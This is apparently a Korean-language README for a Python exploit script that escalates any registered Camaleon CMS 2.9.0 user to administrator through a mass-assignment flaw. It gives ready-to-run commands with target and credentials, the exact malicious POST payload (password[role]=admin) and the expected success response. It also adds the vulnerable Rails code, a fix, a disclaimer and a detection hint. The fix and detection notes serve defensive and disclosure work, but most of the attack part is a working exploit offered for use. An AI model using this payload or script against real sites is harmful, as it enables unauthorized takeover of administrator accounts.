
이 Python 스크립트는 Camaleon CMS 버전 2.9.0의 심각한 대량 할당 취약점을 악용하여, 등록된 모든 사용자가 자신의 권한을 관리자로 승격시킬 수 있도록 합니다.
이 Python 스크립트는 Camaleon CMS 버전 2.9.0의 심각한 mass assignment 취약점을 악용하여, 등록된 모든 사용자가 관리자로 권한을 상승시킬 수 있도록 합니다.
updated_ajax 액션의 permit! 메서드가 role 매개변수를 포함한 모든 매개변수를 필터링 없이 통과시킵니다./admin/users/[id]/updated_ajax로 악의적인 페이로드와 함께 POST 요청을 보냅니다. (스크립트에서는 자동으로 할당되는 일반적인 ID인 5번을 사용했습니다. 변경이 필요할 수 있습니다.)
password[role]=admin – 이 매개변수는 필터링되어야 하지만 permit!로 인해 필터링되지 않습니다.password[password] 및 password[password_confirmation] – 사용자의 비밀번호를 업데이트합니다. (클라이언트 역할을 가진 일반 사용자가 프로필을 업데이트할 때는 기술적으로 user[role]=client이지만, 여기서는 비밀번호 변경 기능의 취약점을 악용하므로 password[role]=admin이 됩니다.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: 악용 중 새 비밀번호를 설정합니다 (기본값: 현재 비밀번호)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
취약점은 UsersController의 updated_ajax 메서드에 존재합니다:
def updated_ajax
# 취약한 코드 - 특정 매개변수 필터링 대신 permit! 사용
@user.update(params.require(:user).permit!)
# 이로 인해 role을 포함한 모든 매개변수가 mass-assignment 될 수 있음
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
취약한 permit! 메서드를 명시적 매개변수 필터링으로 교체하세요:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# 명시적으로 role 매개변수 제외
end
이 스크립트는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 이 익스플로잇을 사용하지 마십시오. 저자는 이 도구의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.
보안 팀은 다음을 모니터링하여 악용 시도를 탐지할 수 있습니다:
password[role] 매개변수를 포함한 /admin/users/[id]/updated_ajax에 대한 POST 요청